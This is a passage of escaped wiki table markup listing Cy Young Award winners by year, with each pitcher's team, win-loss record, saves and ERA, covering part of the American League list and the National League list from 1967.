&lt;tr&gt;
&lt;td&gt;[[1971 in baseball|1971]]&lt;/td&gt;
&lt;td&gt;[[Vida Blue]]&lt;/td&gt;
&lt;td&gt;[[Oakland Athletics]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;24-8&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.82&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1972 in baseball|1972]]&lt;/td&gt;
&lt;td&gt;[[Gaylord Perry]]&lt;/td&gt;
&lt;td&gt;[[Cleveland Indians]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;24-16&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.92&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1973 in baseball|1973]]&lt;/td&gt;
&lt;td&gt;[[Jim Palmer]]&lt;/td&gt;
&lt;td&gt;[[Baltimore Orioles]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;22-9&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.40&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1974 in baseball|1974]]&lt;/td&gt;
&lt;td&gt;[[Catfish Hunter]]&lt;/td&gt;
&lt;td&gt;[[Oakland Athletics]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;25-12&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.49&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1975 in baseball|1975]]&lt;/td&gt;
&lt;td&gt;[[Jim Palmer]]&lt;/td&gt;
&lt;td&gt;[[Baltimore Orioles]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;23-11&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.09&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1976]]&lt;/td&gt;
&lt;td&gt;[[Jim Palmer]]&lt;/td&gt;
&lt;td&gt;[[Baltimore Orioles]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;22-13&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.51&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1977 in baseball|1977]]&lt;/td&gt;
&lt;td&gt;[[Sparky Lyle]]&lt;/td&gt;
&lt;td&gt;[[New York Yankees]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;13-5&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;26&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.17&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1978 in baseball|1978]]&lt;/td&gt;
&lt;td&gt;[[Ron Guidry]]*&lt;/td&gt;
&lt;td&gt;[[New York Yankees]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;25-3&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.74&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1979 in baseball|1979]]&lt;/td&gt;
&lt;td&gt;[[Mike Flanagan (baseball player)|Mike Flanagan]]&lt;/td&gt;
&lt;td&gt;[[Baltimore Orioles]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;23-9&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.08&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1980 in baseball|1980]]&lt;/td&gt;
&lt;td&gt;[[Steve Stone (baseball player)|Steve Stone]]&lt;/td&gt;
&lt;td&gt;[[Baltimore Orioles]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;25-7&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1981 in baseball|1981]]&lt;/td&gt;
&lt;td&gt;[[Rollie Fingers]]&lt;/td&gt;
&lt;td&gt;[[Milwaukee Brewers]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;6-3&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;28&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.04&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1982 in baseball|1982]]&lt;/td&gt;
&lt;td&gt;[[Pete Vuckovich]]&lt;/td&gt;
&lt;td&gt;[[Milwaukee Brewers]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;18-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.34&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1983 in baseball|1983]]&lt;/td&gt;
&lt;td&gt;[[La Marr Hoyt]]&lt;/td&gt;
&lt;td&gt;[[Chicago White Sox]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;24-10&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.66&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1984 in baseball|1984]]&lt;/td&gt;
&lt;td&gt;[[Willie Hernandez]]&lt;/td&gt;
&lt;td&gt;[[Detroit Tigers]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;9-3&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;32&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.92&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1985 in baseball|1985]]&lt;/td&gt;
&lt;td&gt;[[Bret Saberhagen]]&lt;/td&gt;
&lt;td&gt;[[Kansas City Royals]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;20-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.87&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1986 in baseball|1986]]&lt;/td&gt;
&lt;td&gt;[[Roger Clemens]]*&lt;/td&gt;
&lt;td&gt;[[Boston Red Sox]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;24-4&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.48&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1987 in baseball|1987]]&lt;/td&gt;
&lt;td&gt;[[Roger Clemens]]&lt;/td&gt;
&lt;td&gt;[[Boston Red Sox]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;20-9&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.97&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1988 in baseball|1988]]&lt;/td&gt;
&lt;td&gt;[[Frank Viola]]&lt;/td&gt;
&lt;td&gt;[[Minnesota Twins]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;24-7&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.64&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1989 in baseball|1989]]&lt;/td&gt;
&lt;td&gt;[[Bret Saberhagen]]&lt;/td&gt;
&lt;td&gt;[[Kansas City Royals]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;23-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1990 in baseball|1990]]&lt;/td&gt;
&lt;td&gt;[[Bob Welch (baseball player)|Bob Welch]]&lt;/td&gt;
&lt;td&gt;[[Oakland Athletics]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;27-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.95&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1991 in baseball|1991]]&lt;/td&gt;
&lt;td&gt;[[Roger Clemens]]&lt;/td&gt;
&lt;td&gt;[[Boston Red Sox]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;18-10&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.62&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1992 in baseball|1992]]&lt;/td&gt;
&lt;td&gt;[[Dennis Eckersley]]&lt;/td&gt;
&lt;td&gt;[[Oakland Athletics]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;7-1&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;51&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.91&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1993 in baseball|1993]]&lt;/td&gt;
&lt;td&gt;[[Jack McDowell]]&lt;/td&gt;
&lt;td&gt;[[Chicago White Sox]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;22-10&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.37&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1994 in baseball|1994]]&lt;/td&gt;
&lt;td&gt;[[David Cone]]&lt;/td&gt;
&lt;td&gt;[[Kansas City Royals]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;16-5&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.94&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1995 in baseball|1995]]&lt;/td&gt;
&lt;td&gt;[[Randy Johnson]]&lt;/td&gt;
&lt;td&gt;[[Seattle Mariners]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;18-2&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.48&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1996 in baseball|1996]]&lt;/td&gt;
&lt;td&gt;[[Pat Hentgen]]&lt;/td&gt;
&lt;td&gt;[[Toronto Blue Jays]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;20-10&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1997 in baseball|1997]]&lt;/td&gt;
&lt;td&gt;[[Roger Clemens]]&lt;/td&gt;
&lt;td&gt;[[Toronto Blue Jays]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;21-7&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1998 in baseball|1998]]&lt;/td&gt;
&lt;td&gt;[[Roger Clemens]]*&lt;/td&gt;
&lt;td&gt;[[Toronto Blue Jays]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;20-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.65&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1999 in baseball|1999]]&lt;/td&gt;
&lt;td&gt;[[Pedro Martínez]]*&lt;/td&gt;
&lt;td&gt;[[Boston Red Sox]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;23-4&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.07&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[2000 in baseball|2000]]&lt;/td&gt;
&lt;td&gt;[[Pedro Martínez]]*&lt;/td&gt;
&lt;td&gt;[[Boston Red Sox]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;18-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.74&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[2001 in baseball|2001]]&lt;/td&gt;
&lt;td&gt;[[Roger Clemens]]&lt;/td&gt;
&lt;td&gt;[[New York Yankees]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;20-3&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.51&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[2002 in baseball|2002]]&lt;/td&gt;
&lt;td&gt;[[Barry Zito]]&lt;/td&gt;
&lt;td&gt;[[Oakland Athletics]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;23-5&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.75&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[2003 in baseball|2003]]&lt;/td&gt;
&lt;td&gt;[[Roy Halladay]]&lt;/td&gt;
&lt;td&gt;[[Toronto Blue Jays]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;22-7&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[2004 in baseball|2004]]&lt;/td&gt;
&lt;td&gt;[[Johan Santana]]*&lt;/td&gt;
&lt;td&gt;[[Minnesota Twins]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;20-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.61&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[2005 in baseball|2005]]&lt;/td&gt;
&lt;td&gt;[[Bartolo Colón]]&lt;/td&gt;
&lt;td&gt;[[Los Angeles Angels of Anaheim]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;21-8&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.48&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

=== National League (1967-present) ===

&lt;table border=&quot;0&quot; cellspacing=&quot;3&quot; cellpadding=&quot;3&quot; width=&quot;550&quot;&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;th align=left&gt;Year&lt;/th&gt;&lt;th align=left&gt;Pitcher&lt;/th&gt;&lt;th align=left&gt;Team&lt;/th&gt;
&lt;th&gt;Record&lt;/th&gt;&lt;th&gt;Saves&lt;/th&gt;&lt;th&gt;ERA&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1967 in baseball|1967]]&lt;/td&gt;
&lt;td&gt;[[Mike McCormick]]&lt;/td&gt;
&lt;td&gt;[[San Francisco Giants]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;22-10&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.85&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1968 in baseball|1968]]&lt;/td&gt;
&lt;td&gt;[[Bob Gibson]]*&lt;/td&gt;
&lt;td&gt;[[St. Louis Cardinals]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;22-9&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1969 in baseball|1969]]&lt;/td&gt;
&lt;td&gt;[[Tom Seaver]]&lt;/td&gt;
&lt;td&gt;[[New York Mets]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;25-7&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1970 in baseball|1970]]&lt;/td&gt;
&lt;td&gt;[[Bob Gibson]]&lt;/td&gt;
&lt;td&gt;[[St. Louis Cardinals]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;23-7&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1971 in baseball|1971]]&lt;/td&gt;
&lt;td&gt;[[Ferguson Jenkins]]&lt;/td&gt;
&lt;td&gt;[[Chicago Cubs]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;24-13&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.77&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1972 in baseball|1972]]&lt;/td&gt;
&lt;td&gt;[[Steve Carlton]]*&lt;/td&gt;
&lt;td&gt;[[Philadelphia Phillies]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;27-10&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.98&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1973 in baseball|1973]]&lt;/td&gt;
&lt;td&gt;[[Tom Seaver]]&lt;/td&gt;
&lt;td&gt;[[New York Mets]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;19-10&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.08&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1974 in baseball|1974]]&lt;/td&gt;
&lt;td&gt;[[Mike Marshall (baseball pitcher)|Mike Marshall]]&lt;/td&gt;
&lt;td&gt;[[Los Angeles Dodgers]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;15-12&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;21&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.42&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1975 in baseball|1975]]&lt;/td&gt;
&lt;td&gt;[[Tom Seaver]]&lt;/td&gt;
&lt;td&gt;[[New York Mets]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;22-9&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.38&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1976 in baseball|1976]]&lt;/td&gt;
&lt;td&gt;[[Randy Jones (baseball player)|Randy Jones]]&lt;/td&gt;
&lt;td&gt;[[San Diego Padres]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;22-14&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.74&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1977 in baseball|1977]]&lt;/td&gt;
&lt;td&gt;[[Steve Carlton]]&lt;/td&gt;
&lt;td&gt;[[Philadelphia Phillies]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;23-10&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.64&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1978 in baseball|1978]]&lt;/td&gt;
&lt;td&gt;[[Gaylord Perry]]&lt;/td&gt;
&lt;td&gt;[[San Diego Padres]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;21-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.73&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1979 in baseball|1979]]&lt;/td&gt;
&lt;td&gt;[[Bruce Sutter]]&lt;/td&gt;
&lt;td&gt;[[Chicago Cubs]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;6-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;37&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1980 in baseball|1980]]&lt;/td&gt;
&lt;td&gt;[[Steve Carlton]]&lt;/td&gt;
&lt;td&gt;[[Philadelphia Phillies]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;24-9&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.34&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1981 in baseball|1981]]&lt;/td&gt;
&lt;td&gt;[[Fernando Valenzuela]]&lt;/td&gt;
&lt;td&gt;[[Los Angeles Dodgers]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;13-7&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.48&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1982 in baseball|1982]]&lt;/td&gt;
&lt;td&gt;[[Steve Carlton]]&lt;/td&gt;
&lt;td&gt;[[Philadelphia Phillies]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;23-11&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1983 in baseball|1983]]&lt;/td&gt;
&lt;td&gt;[[John Denny]]&lt;/td&gt;
&lt;td&gt;[[Philadelphia Phillies]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;19-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.37&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1984 in baseball|1984]]&lt;/td&gt;
&lt;td&gt;[[Rick Sutcliffe]]*&amp;dagger;&lt;/td&gt;
&lt;td&gt;[[Chicago Cubs]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;20-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;3.64&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1985 in baseball|1985]]&lt;/td&gt;
&lt;td&gt;[[Dwight Gooden]]*&lt;/td&gt;
&lt;td&gt;[[New York Mets]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;24-4&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.53&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1986 in baseball|1986]]&lt;/td&gt;
&lt;td&gt;[[Mike Scott (baseball player)|Mike Scott]]&lt;/td&gt;
&lt;td&gt;[[Houston Astros]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;18-10&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1987 in baseball|1987]]&lt;/td&gt;
&lt;td&gt;[[Steve Bedrosian]]&lt;/td&gt;
&lt;td&gt;[[Philadelphia Phillies]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;5-3&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;40&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.83&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1988 in baseball|1988]]&lt;/td&gt;
&lt;td&gt;[[Orel Hershiser]]*&lt;/td&gt;
&lt;td&gt;[[Los Angeles Dodgers]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;23-8&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1989 in baseball|1989]]&lt;/td&gt;
&lt;td&gt;[[Mark Davis (baseball)|Mark Davis]]&lt;/td&gt;
&lt;td&gt;[[San Diego Padres]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;4-3&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;44&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.85&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1990 in baseball|1990]]&lt;/td&gt;
&lt;td&gt;[[Doug Drabek]]&lt;/td&gt;
&lt;td&gt;[[Pittsburgh Pirates]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;22-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.76&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1991 in baseball|1991]]&lt;/td&gt;
&lt;td&gt;[[Tom Glavine]]&lt;/td&gt;
&lt;td&gt;[[Atlanta Braves]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;20-11&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.55&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1992 in baseball|1992]]&lt;/td&gt;
&lt;td&gt;[[Greg Maddux]]&lt;/td&gt;
&lt;td&gt;[[Chicago Cubs]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;20-11&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.18 &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1993 in baseball|1993]]&lt;/td&gt;
&lt;td&gt;[[Greg Maddux]]&lt;/td&gt;
&lt;td&gt;[[Atlanta Braves]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;20-10&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;2.36&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #e3e3e3;&quot;&gt;
&lt;td&gt;[[1994 in baseball|1994]]&lt;/td&gt;
&lt;td&gt;[[Greg Maddux]]*&lt;/td&gt;
&lt;td&gt;[[Atlanta Braves]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;16-6&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.56&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[1995 in baseball|1995]]&lt;/td&gt;
&lt;td&gt;[[Greg Maddux]]*&lt;/td&gt;
&lt;td&gt;[[Atlanta Braves]]&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;19-2&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;0&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;1.63&lt;/td&gt;
